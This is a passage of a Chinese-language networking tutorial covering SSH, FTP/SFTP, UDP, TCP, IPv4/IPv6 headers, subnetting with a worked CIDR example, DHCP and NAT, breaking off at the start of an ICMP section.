&lt;h4&gt;SSH 协议 / SSH&lt;/h4&gt;
&lt;p&gt;早期的 &lt;strong&gt;Telnet&lt;/strong&gt; (TCP 23) 协议极其简陋，它在网络上仅仅是建立了一个虚拟终端。最可怕的是，它默认&lt;strong&gt;明文传输&lt;/strong&gt;
当你通过 Telnet 登录服务器时，你输入的每一个字符（包括 root 密码）都会以明文形式流经所有的路由器。任何中间人（MITM）都能截获你的权限&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SSH (Secure Shell, TCP 22)&lt;/strong&gt; 的出现终结了 Telnet
SSH 不仅仅是一个远程 Shell，它本质上是一个&lt;strong&gt;加密的隧道协议&lt;/strong&gt;。它在 TCP 连接建立后，会立即进行密钥交换（Key Exchange），在不安全的网络中协商出一个对称密钥。此后传输的所有数据，都是经过高强度加密的乱码&lt;/p&gt;
&lt;h4&gt;网络监控 / Network Monitoring&lt;/h4&gt;
&lt;p&gt;除了控制，我们还需要监控
传统的监控协议 &lt;strong&gt;SNMP&lt;/strong&gt; 采用的是 &lt;strong&gt;“拉模式 (Pull)”&lt;/strong&gt;：管理端每隔几秒钟问一次路由器：“现在的 CPU 占用率是多少？”
这种方式不仅效率低下，而且存在&lt;strong&gt;盲区&lt;/strong&gt;——如果流量在两次轮询的间隙瞬间暴涨又消失（微突发），SNMP 是完全无感知的&lt;/p&gt;
&lt;p&gt;随着 Linux 内核的发展，&lt;strong&gt;eBPF&lt;/strong&gt; 技术正在颠覆这一领域
不同于 SNMP 的外部询问，eBPF 允许我们在操作系统内核中植入安全的、&lt;strong&gt;事件驱动&lt;/strong&gt;的“探针”。每当有一个数据包经过网卡，或者发生一次系统调用，eBPF 程序就会被触发。这种从&lt;strong&gt;内核视角&lt;/strong&gt;进行的毫秒级实时观测，让网络监控从“看大概”进化到了“看显微镜”&lt;/p&gt;
&lt;h3&gt;文件传输 / File Transfer&lt;/h3&gt;
&lt;h4&gt;FTP 与 SFTP / FTP &amp;amp; SFTP&lt;/h4&gt;
&lt;p&gt;搬运文件看似简单，但在复杂的现代网络环境中，古老的协议却显得格格不入。这其中最典型的反面教材就是 &lt;strong&gt;FTP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FTP 是互联网早期的产物，它设计了独特的&lt;strong&gt;双端口机制&lt;/strong&gt;：一个端口（TCP 21）用于发送指令，另一个端口（TCP 20）用于传输数据&lt;/p&gt;
&lt;p&gt;这种设计在当年没有问题，但在 &lt;strong&gt;NAT (网络地址转换)&lt;/strong&gt; 普及的今天，它简直是灾难。在 FTP 的&lt;strong&gt;主动模式&lt;/strong&gt;下，客户端需要告诉服务器：“请连接我的内网 IP:端口 给我发数据”。但在公网上的服务器根本无法反向连接进你的内网。虽然 FTP 后来推出了“被动模式”试图补救，但由于它需要服务器开放海量随机端口，这又成了防火墙的噩梦&lt;/p&gt;
&lt;p&gt;因此，FTP 已基本被淘汰，取而代之的是 &lt;strong&gt;SFTP&lt;/strong&gt;
SFTP 并不是 FTP 的加密版，它是 &lt;strong&gt;SSH 协议的一个子系统&lt;/strong&gt;，直接复用 SSH 的 22 端口。不需要额外配置防火墙，且天然具备高安全性&lt;/p&gt;
&lt;h3&gt;你先别急 / You No Hurry&lt;/h3&gt;
&lt;p&gt;在继续深入之前，我们需要解决一个核心疑问：&lt;strong&gt;应用层是如何工作的？&lt;/strong&gt;&lt;br /&gt;
我们在写 HTTP 或 SSH 程序时，似乎只需要调用一个 &lt;code&gt;send()&lt;/code&gt; 函数，数据就神奇地到达了地球另一端。我们并不关心网线断没断、路由器堵不堵&lt;/p&gt;
&lt;p&gt;这是因为&lt;strong&gt;传输层 (Transport Layer)&lt;/strong&gt; 向应用层提供了一个 &lt;strong&gt;“黑盒服务模型”&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;应用层的视角&lt;/strong&gt;：我把数据扔进这个黑盒，告诉它“送到 IP:Port”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;黑盒的承诺&lt;/strong&gt;：我会搞定所有的传输细节&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是，这个黑盒提供了两种截然不同的&lt;strong&gt;服务套餐&lt;/strong&gt;：一种是“快但不保修”（UDP），一种是“慢但包邮包退”（TCP）。接下来，我们就拆开这个黑盒，看看里面的齿轮是如何转动的&lt;/p&gt;
&lt;h2&gt;传输层 / Transport Layer&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Concept: 核心使命：从主机到进程&lt;/strong&gt;
网络层 (IP) 只能把数据送到&lt;strong&gt;主机&lt;/strong&gt;。传输层负责把数据分发给主机上具体的&lt;strong&gt;进程&lt;/strong&gt;
这种复用与分用，依靠的是 &lt;strong&gt;端口号 (Port Number)&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在这一层，主要有两个性格迥异的协议：&lt;strong&gt;UDP&lt;/strong&gt; 和 &lt;strong&gt;TCP&lt;/strong&gt;。它们代表了网络设计中两种截然不同的哲学&lt;/p&gt;
&lt;h3&gt;UDP 协议 / UDP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;UDP&lt;/strong&gt; 是黑盒提供的第一种套餐。它的哲学是：&lt;strong&gt;“尽最大努力交付” (Best Effort)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们来看看一个真实的 UDP 数据包。你会发现它的结构&lt;strong&gt;十分干净&lt;/strong&gt;，没有复杂的握手序列，头部只有区区 &lt;strong&gt;8 个字节&lt;/strong&gt;。
这是&lt;a href=&quot;https://wiki.wireshark.org/SampleCaptures&quot;&gt;SampleCaptures - Wireshark Wiki&lt;/a&gt;上下载下来的一个&lt;a href=&quot;https://wiki.wireshark.org/uploads/e2b98423e5f0dc85e0b1228ebbd044e2/protobuf_udp_addressbook.pcapng&quot;&gt;Fetching Title#3h26&lt;/a&gt;
我们可以用&lt;code&gt;wireshark&lt;/code&gt;这个软件打开它看看，安装自己去弄&lt;a href=&quot;https://www.wireshark.org/download.html&quot;&gt;Wireshark • Go Deep | Download&lt;/a&gt;
&lt;img src=&quot;Computer-Network/UDPpackage.png&quot; alt=&quot;UDPpackage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你会发现它的头部极其干净，只有区区 &lt;strong&gt;8 个字节&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;源端口&lt;/strong&gt; &amp;amp; &lt;strong&gt;目的端口&lt;/strong&gt;: 负责送给正确的进程&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长度&lt;/strong&gt;: 告诉接收方这包有多长&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验和 (Checksum)&lt;/strong&gt;: 这是 UDP 唯一的底线&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;为什么校验和如此重要？&lt;/strong&gt;
这是 UDP 唯一的可靠性措施。如果数据包在传输中出现了比特翻转，UDP会直接&lt;strong&gt;丢弃&lt;/strong&gt;这个包，并且&lt;strong&gt;不会&lt;/strong&gt;通知发送方
&lt;strong&gt;在 IPv4 中，UDP 校验和是可选的（虽然通常都开），但在 IPv6 中是强制的&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“既然这么不靠谱，为什么还要用它？”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在&lt;strong&gt;实时性&lt;/strong&gt;要求极高的场景，&lt;strong&gt;延迟&lt;/strong&gt;是最大的敌人。如果使用 TCP，一旦丢包就会暂停画面等待重传，导致卡顿。而UDP允许偶尔丢包，保证了整体流程的顺畅&lt;/p&gt;
&lt;h3&gt;TCP 协议 / TCP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;TCP&lt;/strong&gt; 是互联网的基石
它的任务极其艰巨：&lt;strong&gt;在不可靠的 IP 层之上，构建一个可靠的传输通道&lt;/strong&gt;。为了实现“无差错、不丢失、不乱序”的承诺，TCP 被设计成了一个极其复杂的&lt;strong&gt;有限状态机 (FSM)&lt;/strong&gt;
&lt;img src=&quot;Computer-Network/TCP.jpg&quot; alt=&quot;TCP&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;三次握手 / Three-Way Handshake&lt;/h4&gt;
&lt;p&gt;TCP 是面向连接的，通信前必须先“打通电话”。这不仅仅是打个招呼，更是为了&lt;strong&gt;同步双方的初始序列号 (ISN)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP 是双工的，A 要告诉 B 它的 ISN，B 也要告诉 A 它的 ISN，且都需要确认&lt;/li&gt;
&lt;li&gt;SYN(A) -&amp;gt; SYN(B) + ACK(A) -&amp;gt; ACK(B)
&lt;img src=&quot;Computer-Network/TCPconnect.png&quot; alt=&quot;TCPconnect&quot; /&gt;
&lt;strong&gt;为什么要三次？&lt;/strong&gt;
这主要是为了防止&lt;strong&gt;已失效的连接请求&lt;/strong&gt;突然又传到了服务端，导致服务端错误地建立连接，浪费资源&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;可靠性与流量控制 / Reliability &amp;amp; Flow Control&lt;/h4&gt;
&lt;p&gt;TCP 并没有采用“发一个包，等一个确认”的低效模式，而是采用了&lt;strong&gt;流水线&lt;/strong&gt;机制
&lt;strong&gt;滑动窗口 (Sliding Window)&lt;/strong&gt; 是 TCP 效率的关键。接收方在回复 ACK 时，会带上一个 &lt;code&gt;Window&lt;/code&gt; 字段，告诉发送方：“我的接收缓冲区还能存 4096 字节，你别发太快”。发送方会根据这个反馈，动态调整自己的发送量。这被称为&lt;strong&gt;流量控制 (Flow Control)&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;四次挥手 / Four-Way Wave&lt;/h4&gt;
&lt;p&gt;当数据传输结束，断开连接的过程也充满了设计的智慧
注意，TCP 是&lt;strong&gt;全双工&lt;/strong&gt;的（双向独立通道），所以关闭时需要两个方向分别关闭
&lt;img src=&quot;Computer-Network/TCPclose.png&quot; alt=&quot;TCPclose&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户端发 &lt;code&gt;FIN&lt;/code&gt;：“我没数据发了。”&lt;/li&gt;
&lt;li&gt;服务器回 &lt;code&gt;ACK&lt;/code&gt;：“知道了。”（此时连接处于&lt;strong&gt;半关闭&lt;/strong&gt;状态，服务器可能还有数据没传完）&lt;/li&gt;
&lt;li&gt;服务器传完后发 &lt;code&gt;FIN&lt;/code&gt;：“我也没数据了。”&lt;/li&gt;
&lt;li&gt;客户端回 &lt;code&gt;ACK&lt;/code&gt;：“再见。”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;TIME_WAIT 的深意&lt;/strong&gt;
在客户端发出最后一个 ACK 后，它并不会立即关闭，而是会进入一个叫 &lt;code&gt;TIME_WAIT&lt;/code&gt; 的状态，等待 &lt;strong&gt;2MSL&lt;/strong&gt; (Maximum Segment Lifetime,约 2 分钟)。这是为了防备最后一个 ACK 丢包。如果服务器没收到最后的 ACK，会重发 FIN，客户端必须“活着”才能补发 ACK&lt;/p&gt;
&lt;h4&gt;拥塞控制 / Congestion Control&lt;/h4&gt;
&lt;p&gt;如果接收方处理得很快，但&lt;strong&gt;网络中间的路由器&lt;/strong&gt;堵车了怎么办？流量控制对此无能为力
TCP 必须具备感知网络拥堵的能力。它维护着一个&lt;strong&gt;拥塞窗口 (cwnd)&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;慢启动&lt;/strong&gt;: 连接刚建立时，发送速度指数级增长，试探网络负载&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拥塞避免&lt;/strong&gt;: 达到阈值后，线性增长&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;急刹车&lt;/strong&gt;: 一旦检测到丢包，立即大幅削减窗口，给网络“让路”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这边就不详细展开了，内容太多了&lt;/p&gt;
&lt;h5&gt;Take a look at TCP&lt;/h5&gt;
&lt;p&gt;我们可以看看这样一个完整的tcp流程
&lt;img src=&quot;Computer-Network/protobufTCP.png&quot; alt=&quot;protobufTCP&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;网络层 / Network Layer&lt;/h2&gt;
&lt;p&gt;网络层位于协议栈的核心位置，其主要职责是实现&lt;strong&gt;主机到主机 (Host-to-Host)&lt;/strong&gt; 的逻辑通信。与数据链路层关注相邻节点间的帧传输不同，网络层必须解决如何在复杂的、由异构网络互连的互联网中，找到从源主机到目的主机的最佳路径&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/Lan.png&quot; alt=&quot;Lan&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;IP 服务模型 / IP Service Model&lt;/h3&gt;
&lt;p&gt;网际协议 (IP) 提供的是一种&lt;strong&gt;不可靠 (Unreliable)&lt;/strong&gt;、&lt;strong&gt;无连接 (Connectionless)&lt;/strong&gt; 的&lt;strong&gt;尽最大努力交付 (Best Effort)&lt;/strong&gt; 服务。这种设计意味着 IP 路由器在转发分组时，不维护关于后续分组的状态信息，也不保证分组不丢失、不重复或按序到达。这种看似“不负责任”的设计简化了网络核心设备的复杂性，降低了造价，并将数据传输的可靠性控制交由网络边缘的主机（即上层的传输层，如 TCP）来处理&lt;/p&gt;
&lt;h4&gt;IPv4 数据报 / IPv4 Datagram&lt;/h4&gt;
&lt;p&gt;IPv4 数据报由&lt;strong&gt;首部&lt;/strong&gt;和&lt;strong&gt;数据部分&lt;/strong&gt;组成。首部的前 20 字节是固定的，包含了网络传输所需的最关键控制信息。深入理解这些字段是掌握网络层机制的基础
&lt;img src=&quot;Computer-Network/ipv4header.png&quot; alt=&quot;ipv4header&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基础控制字段&lt;/strong&gt;
首部的开始部分包含版本号与长度信息。&lt;strong&gt;版本 (Version)&lt;/strong&gt; 字段占 4 位，对于 IPv4 来说该值为 4
紧接着是 &lt;strong&gt;首部长度 (IHL)&lt;/strong&gt;，它以 4 字节为单位记录首部的总长度。由于 IP 首部可能包含可变长度的“选项”字段，因此需要该字段来确定数据部分的起始位置
&lt;strong&gt;区分服务 (Type of Service)&lt;/strong&gt; 字段用于标记数据报的优先级，以支持 QoS（服务质量）
&lt;strong&gt;总长度 (Total Length)&lt;/strong&gt; 字段占 16 位，指明了首部加上数据部分的总字节数，这意味着 IP 数据报的最大理论长度为 65,535 字节&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分片与重组字段&lt;/strong&gt;
由于底层物理网络存在&lt;strong&gt;最大传输单元 (MTU)&lt;/strong&gt; 的限制（如以太网 MTU 为 1500 字节），过大的数据报必须被切分
&lt;strong&gt;标识 (Identification)&lt;/strong&gt; 字段是一个计数器，用于标记属于同一个原始数据报的所有分片。&lt;strong&gt;标志 (Flags)&lt;/strong&gt; 字段占 3 位，其中最低位 MF (More Fragments) 为 1 表示后面还有分片，中间位 DF (Don&apos;t Fragment) 为 1 表示禁止分片。&lt;strong&gt;片偏移 (Fragment Offset)&lt;/strong&gt; 指出该分片在原数据报中的相对位置，以 &lt;strong&gt;8 字节&lt;/strong&gt;为单位。路由器利用这些字段进行分片，而目的主机利用它们完成重组
&lt;img src=&quot;Computer-Network/ipfragmentation.jpg&quot; alt=&quot;ipfragmentation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;生命周期与协议分用&lt;/strong&gt;
&lt;strong&gt;生存时间 (TTL)&lt;/strong&gt; 字段至关重要，它代表数据报在网络中允许经过的最大跳数。每经过一个路由器，TTL 减 1，减为 0 时数据报被丢弃，从而防止路由环路。&lt;strong&gt;协议 (Protocol)&lt;/strong&gt; 字段指示 IP 数据报的数据部分封装了何种上层协议（如 TCP=6, UDP=17, ICMP=1）。该字段实现了网络层的&lt;strong&gt;分用&lt;/strong&gt;功能，告诉接收端应将数据上交给哪个模块&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;校验与寻址&lt;/strong&gt;
&lt;strong&gt;首部校验和 (Header Checksum)&lt;/strong&gt; 仅检测首部是否出错，不检测数据部分。每经过一个路由器，由于 TTL 发生变化，校验和都需要重新计算。最后是 &lt;strong&gt;源地址&lt;/strong&gt; 和 &lt;strong&gt;目的地址&lt;/strong&gt;，各占 32 位，这是 IP 协议实现逻辑寻址的核心&lt;/p&gt;
&lt;h4&gt;子网与 CIDR / Subnetting &amp;amp; CIDR&lt;/h4&gt;
&lt;h5&gt;分类编址 (Classful Addressing)&lt;/h5&gt;
&lt;p&gt;在 ARPANET 的早期，IP 地址的设计非常简单粗暴——给每一个物理网络分配一个网络号。我们将 IP 分为 A、B、C、D、E 五类&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类别&lt;/th&gt;
&lt;th&gt;前导位&lt;/th&gt;
&lt;th&gt;网络号范围 (第一字节)&lt;/th&gt;
&lt;th&gt;默认掩码&lt;/th&gt;
&lt;th&gt;网络数量&lt;/th&gt;
&lt;th&gt;单个网络最大主机数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A 类&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 - 126&lt;/td&gt;
&lt;td&gt;/8&lt;/td&gt;
&lt;td&gt;126 ($2^7-2$)&lt;/td&gt;
&lt;td&gt;16,777,214 ($2^{24}-2$)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;B 类&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;128 - 191&lt;/td&gt;
&lt;td&gt;/16&lt;/td&gt;
&lt;td&gt;16,384&lt;/td&gt;
&lt;td&gt;65,534&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C 类&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;110&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;192 - 223&lt;/td&gt;
&lt;td&gt;/24&lt;/td&gt;
&lt;td&gt;2,097,152&lt;/td&gt;
&lt;td&gt;254&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/subnet.png&quot; alt=&quot;subnet&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;127.x.x.x&lt;/strong&gt; 也是 A 类，但它被保留作为&lt;strong&gt;环回地址 (Loopback)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;D 类 (224-239)&lt;/strong&gt; 用于组播 (Multicast)，&lt;strong&gt;E 类&lt;/strong&gt; 保留科研&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;这种设计存在严重问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地址浪费&lt;/strong&gt;：如果一个公司有 300 台主机，C 类（254个）不够用，分一个 B 类（6万多个）又太浪费&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由表膨胀&lt;/strong&gt;：每个网络都要占一行路由表，路由器压力山大&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;划分子网 (Subnetting)&lt;/h5&gt;
&lt;p&gt;为了解决利用率低的问题，聪明的人们引入了&lt;strong&gt;子网&lt;/strong&gt;的概念
&lt;strong&gt;核心思想&lt;/strong&gt;：从&lt;strong&gt;主机号&lt;/strong&gt;借用几位作为&lt;strong&gt;子网号&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;子网掩码 (Subnet Mask)&lt;/strong&gt;：用于指示 IP 地址中哪些位是网络位，哪些位是主机位
这里的逻辑运算是：&lt;code&gt;网络地址 = IP 地址 AND 子网掩码&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/subnet_mask.png&quot; alt=&quot;subnet_mask&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;CIDR&lt;/h5&gt;
&lt;p&gt;CIDR 消除了传统的 A 类、B 类和 C 类地址以及划分子网的概念，但网络地址长度更加灵活可变，因而可以更加有效地分配 IPv4 的地址空间
CIDR使用各种长度的“&lt;strong&gt;网络前缀”(network-prefix)&lt;/strong&gt; 来代替分类地址中的网络号和子网号
无分类的两级编址的记法是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;IP地址 ::= {&amp;lt;网络前缀&amp;gt;, &amp;lt;主机号&amp;gt;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CIDR 还使用“斜线记法”：
即在IP地址后面加上一个斜线“/”，后面写上网络前缀所占的比特数，如20.5.0.0/10，还可简写为20.5/10
CIDR 将网络前缀相同的连续的 IP 地址组成“CIDR地址块”&lt;/p&gt;
&lt;p&gt;在&lt;strong&gt;计算机基础知识竞赛&lt;/strong&gt;里面有这样一个题目：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要将192.168.1.0/24 网络划分成4个大小相同的子网，每个子网需要容纳相同数量的主机&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;则每个子网的子网掩码是：&lt;/li&gt;
&lt;li&gt;每个子网可用的主机数量是：&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;IP地址&lt;/em&gt;为&lt;em&gt;192.168.1.0&lt;/em&gt;,也就是&lt;em&gt;1100&apos;0000.1010&apos;1000.0000&apos;0001.0000&apos;0000&lt;/em&gt;
&lt;em&gt;CIDR&lt;/em&gt;是&lt;code&gt;/24&lt;/code&gt;，也就是&lt;em&gt;1111&apos;1111.1111&apos;1111.1111&apos;1111.0000&apos;0000&lt;/em&gt;
如果你想要划分不同的子网，那么前 24 位是不动的，最后面的 &lt;strong&gt;8位&lt;/strong&gt; (0000&apos;0000) 本来全是留给主机的
$2^n = 4$
So &lt;code&gt;n = 2&lt;/code&gt;
也就是我们需要 &lt;strong&gt;2位&lt;/strong&gt; 来表示这 4 个子网（00, 01, 10, 11所以，我们要从原本属于主机的 8 位里，&lt;strong&gt;“抢”&lt;/strong&gt; 走最左边的 2 位给网络
&lt;em&gt;1111&apos;1111.1111&apos;1111.1111&apos;1111.1100&apos;0000&lt;/em&gt;
也就是&lt;code&gt;/26&lt;/code&gt;，255.255.255.192&lt;/p&gt;
&lt;p&gt;借走 2 位后，主机位还剩：$8 - 2 = 6$ 位&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;总 IP 数：$2^6 = 64$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可用 IP 数&lt;/strong&gt;：我们要减去 &lt;strong&gt;网络地址&lt;/strong&gt; (全0) 和 &lt;strong&gt;广播地址&lt;/strong&gt; (全1)&lt;/li&gt;
&lt;li&gt;$64 - 2 = 62$&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;子网索引&lt;/th&gt;
&lt;th&gt;二进制借位 (SS)&lt;/th&gt;
&lt;th&gt;剩下的主机范围 (HHHHHH)&lt;/th&gt;
&lt;th&gt;对应十进制范围&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;子网 1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;000000 ~ 111111&lt;/td&gt;
&lt;td&gt;.0 ~ .63&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;子网 2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;01&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;000000 ~ 111111&lt;/td&gt;
&lt;td&gt;.64 ~ .127&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;子网 3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;000000 ~ 111111&lt;/td&gt;
&lt;td&gt;.128 ~ .191&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;子网 4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;11&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;000000 ~ 111111&lt;/td&gt;
&lt;td&gt;.192 ~ .255&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;在路由查找过程中，如果一个目的地址匹配了路由表中的多个表项，路由器将遵循&lt;strong&gt;最长前缀匹配 (Longest Prefix Match)&lt;/strong&gt; 原则，选择网络前缀最长（即子网掩码最长）的那一项进行转发，因为该路由指向的网络更具体、更精准&lt;/p&gt;
&lt;h4&gt;IPv6 协议 / IPv6&lt;/h4&gt;
&lt;p&gt;IPv6 并非仅仅是扩展了地址空间，它对报文首部进行了彻底的重新设计，以适应现代高速网络的需求&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/ipv6.png&quot; alt=&quot;ipv6&quot; /&gt;
&lt;strong&gt;地址空间的飞跃&lt;/strong&gt;
IPv6 最显著的变化是将地址长度从 32 位扩展到了 &lt;strong&gt;128 位&lt;/strong&gt;，从根本上解决了地址耗尽问题。这使得我们可以为地球上的每一粒沙子分配一个 IP 地址&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;简化的基本首部&lt;/strong&gt;
IPv6 采用了固定的 &lt;strong&gt;40 字节&lt;/strong&gt;基本首部，去除了 IPv4 中许多不常用的字段以提高处理效率&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;取消了首部长度字段&lt;/strong&gt;：因为首部长度固定为 40 字节。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;取消了首部校验和字段&lt;/strong&gt;：现代链路层（如以太网、光纤）已具备很强的差错检测能力，传输层也有校验机制。去除该字段消除了路由器每跳重新计算校验和的开销，显著提升了转发速度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;取消了分片字段&lt;/strong&gt;：IPv6 规定&lt;strong&gt;分片仅在源主机进行&lt;/strong&gt;。如果路由器收到大于 MTU 的包，直接丢弃并回送 ICMPv6“分组过大”报文。这减轻了中间路由器的负担
&lt;img src=&quot;Computer-Network/basic-IPv6-address.gif&quot; alt=&quot;basic-IPv6-address&quot; /&gt;
&lt;strong&gt;灵活的扩展机制&lt;/strong&gt;
IPv4 中的“协议”字段在 IPv6 中被&lt;strong&gt;下一个首部 (Next Header)&lt;/strong&gt; 字段取代
它不仅可以指向 TCP 或 UDP，还可以指向各种&lt;strong&gt;扩展首部&lt;/strong&gt;（如逐跳选项、路由选择、分片扩展等）
这种链式结构使得 IPv6 具有极强的扩展性，能够灵活支持未来的新功能
其他关键字段还包括&lt;strong&gt;流标号 (Flow Label)&lt;/strong&gt;，用于支持实时音视频等需要特殊服务质量的数据流&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;DHCP 与 NAT / DHCP &amp;amp; NAT&lt;/h3&gt;
&lt;h4&gt;动态主机配置协议 / DHCP&lt;/h4&gt;
&lt;p&gt;Q:为什么现在连上NJUPT之后你不手动配置ip就可以上网？
A:DHCP 服务器自动给连入网络的设备分配 IP 地址、子网掩码、网关和 DNS 地址&lt;/p&gt;
&lt;p&gt;DHCP协议是一个局域网网络协议，使用 UDP 协议（67/68 端口）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DORA 流程&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Discover&lt;/strong&gt;: 客户端广播“有没有 DHCP 服务器？”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Offer&lt;/strong&gt;: 服务器广播“我有 IP 192.168.1.100，你要吗？”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request&lt;/strong&gt;: 客户端广播“我要用 192.168.1.100。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Acknowledge&lt;/strong&gt;: 服务器广播“确认分配，租期 24 小时。”&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/DHCPv4.png&quot; alt=&quot;DHCPv4&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;网络地址转换 / NAT&lt;/h4&gt;
&lt;p&gt;NAT 通过将私有 IP 转换为公网 IP，延缓了 IPv4 的耗尽
&lt;img src=&quot;Computer-Network/NAT.png&quot; alt=&quot;NAT&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;
这个软件是PNETlab
如果对网络模拟器感兴趣可以使用这个
&lt;a href=&quot;https://pnetlab.com/pages/main&quot;&gt;PNETLab : Lab is Simple&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;ICMP 协议 / ICMP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ICMP&lt;/strong&gt;：Internet Control Message Protocol，因特网控制报文协议
方向：主机/路由器 -&amp;gt; 源站(发送方)
